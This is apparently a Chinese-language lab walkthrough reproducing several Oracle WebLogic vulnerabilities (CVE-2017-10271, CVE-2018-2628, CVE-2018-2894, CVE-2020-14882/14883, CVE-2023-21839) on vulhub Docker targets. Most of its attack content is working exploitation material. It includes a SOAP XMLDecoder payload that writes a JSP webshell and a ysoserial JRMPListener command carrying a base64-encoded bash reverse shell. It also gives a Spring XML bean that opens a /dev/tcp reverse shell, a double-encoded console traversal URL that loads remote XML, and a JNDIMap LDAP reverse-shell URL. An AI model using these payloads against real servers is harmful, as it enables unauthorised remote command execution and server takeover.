简介
Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。
需要使用的工具
ysoserial使用不同库制作的放序列化工具:
GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
weblogic集成的图形化攻击工具:https://github.com/KimJun1010/WeblogicTool
JNDIMap 是一个 JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式
X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式 (github.com)
CVE-2017-10271
XXE漏洞
0x00 漏洞产生原因
CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过精心构建的漏洞来达到任意命令执行
0x01 影响范围
10.3.6.0 12.1.3.0.0 12.2.1.1.0
0x02 漏洞地址
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
这里我将这些地址添加进dirsearch的字典了,原版只有wls-wsat/CoordinatorPortType路径,
###每一次遇到一些漏洞的地址都可以添加进去
默认使用字典地址/usr/lib/python3/dist-packages/dirsearch/db/dicc.txt
!!!!注意我这里时使用的apt安装的dirsearch
0x03 环境
docker-compose搭建的vulhub靶场CVE-2017-10271
0x04 漏洞复现
1. 手工
poc
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
<string><![CDATA[
<% out.print("webshell"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
访问存在漏洞的页面
使用hackbar随意传入一个post参数
将poc传入执行
只需要修改content-type为text/xml即可
访问可知成功写入,后续可通过此poc写入jsp马子
2. 漏洞利用工具
直接放入存在漏洞的url然后选择使用CVE_2017_10271漏洞,直接就可利用
CVE-2018-2628
反序列化漏洞
0x00 漏洞产生原因
该漏洞是因为T3协议而触发的反序列化漏洞,造成的任意命令执行漏洞,导致未授权用户远程命令执行
0x01 影响范围
10.3.6.0 12.1.3.0 12.2.1.2 12.2.1.3
0x02 环境
docker搭建的vulhub靶场
靶场地址:172.28.10.221:7001
0x03 漏洞复现
1.nmap扫是否是T3协议
一般T3协议是默认开启的,但也需要扫一下看是否存在,说不定开发人员给关了
nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 127.0.0.1
-T4 设置扫描速度(1-6) -sV 对端口的服务进行扫描
-O 服务器系统扫描 -p 指定扫描端口
--script 指定文件脚本
需要使用weblogic-t3-info模块指定去扫是否有T3协议####只针对没打补丁的情况下的检测
(这里我在本地搭建的所以使用的是127.0.0.1)
也可使用集成的工具直接扫
2.漏洞检测(利用dnslog外带)
这里使用的是bp自带的工具
3.漏洞复现
攻击流程
被攻击机——》攻击机(jrmp服务)——》回到被攻击机执行命令——》攻击机接收到shell
在攻击机上执行一下命令
java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener+<监听端口>+<java1.7以上则填Jdk7u21>+<要执行的命令>
java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections3 'calc'
攻击机监听端口
尝试将反弹shell到攻击机
将bash命令加密一下
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
开启服务
./java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjgwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}'
这里注意java需要使用jre版本的,并且需要下载ysoserial放在java的bin目录里(也可放在其他地方使用绝对路径调用)
使用工具通过漏洞让被攻击机访问攻击机开启的服务
收到访问流量
成功拿到shell
CVE-2018-2894
任意文件上传漏洞
0x00 漏洞产生原因
weblogic未授权的两个页面存在任意文件上传
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制
0x01 影响范围
10.3.6.0 12.1.3.0 12.2.1.2 12.2.1.3
0x02 环境
weblogic服务器ip:172.28.10.221
还是使用docker搭建环境
0x03 复现信息
- 漏洞存在的页面:/ws_utc/begin.do、/ws_utc/config.do
- 登录账户密码使用命令查看docker-compose logs | grep password
0x04 漏洞复现
访问漏洞存在的页面
使用获取的账户密码登录(真实环境肯定是需要其他方法进入的,比如弱口令、未授权访问这些)
访问console目录自动跳转登录
启动web测试服务页
然后访问/ws_utc/config.do
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
这里把工作目录换为以上路径
bp抓包得到时间戳
因为他的命名方式为时间戳_名字.jsp
上传成功后访问此路径
/ws_utc/css/config/keystore/文件
能访问到就算成功
我这里使用的是冰蝎自带的马子
密码默认的
rebeyond
拿到webshell
CVE-2020-14882——CVE-2020-14883
管理控制台未授权远程命令执行漏洞
0x00 漏洞产生原因
CVE-2020-14882这个漏洞会造成未授权访问,而CVE-2020-14883允许后台用户通过http协议执行任意命令,这两个漏洞联合起来组成的利用链就可以达到任意命令执行的效果
0x01 影响范围
10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0
0x02 环境
weblogic服务ip:172.28.10.21
依旧是docker搭建
0x03 漏洞复现
正常访问登录页面会回显让登录
恶意构造的url,这里%252e%252e%252其实就是两次url加密后的../
/console/css/%252e%252e%252fconsole.portal
这是未授权访问的情况,因为是未授权访问所以这里缺少很多功能
方式1:
com.tangosol.coherence.mvel2.sh.ShellSession
使用此类的方法但是有局限性,只能在weblogic12.2.1以上版本能用,10.3.6版本并不存在此类
########因为这个靶场似乎不能使用还是怎么的,我做起来有问题,所以不做过多展示,直接使用法2
方法2:(这里注意,如果虚拟机不能过物理机防火墙那就把防火墙关了)
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
此方法和CVE-2017-10271很相似,也是用到了XML解析的方法反弹shell,但是是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的
首先写一个xml文件,这里我放在桌面的
例如:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value></list></constructor-arg></bean>
</beans>
然后python开启http服务
这里注意,在哪个文件夹下开启的,那么这个文件夹就是根目录
nc监听一下
payload:
http://172.28.10.221:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.194/1.xml")
CVE-2023-21839
0x00 漏洞产生原因
和CVE2018-2628很相似,都是因为T3协议的缺陷造成的允许未经身份验证的攻击者通过T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露
0x01 影响范围
12.2.1.2.0 12.2.1.1.0 12.2.1.3.0 12.2.1.0.0 12.2.1.4.0 14.1.1.0.0 12.1.2.0.0 12.1.3.0.0 10.3.6.0
0x02 漏洞测试
用nmap的weblogic-t3-info扫一下是否存在T3协议
nmap -sV -O -T4 -p 7001 --script weblogic-t3-info 127.0.0.1
这里我是搭建在本地的所以使用127.0.0.1
这一题同样还是使用dnslog外带看是否存在漏洞
利用bp现成的工具
成功收到信息
0x03 漏洞复现
漏洞复现呢可以使用集成的工具更方便,也可使用poc
使用JNDI攻击
使用jndimap构造服务,利用jndi攻击拿shell
攻击机开启服务
java -jar 'C:\Program Files\Java\JNDIMap-main\target\JNDIMap.jar' -i 本机ip
监听端口
使用工具构造攻击
#####使用虚拟机搭建靶场的注意关闭攻击机防火墙
ldap://开启IDAP服务的服务器ip:1389/Basic/ReverseShell/攻击机ip/4444 ldap://127.0.0.1:1389/Basic/ReverseShell/MTI3LjAuMC4x/NDQ0NA==
拿到shell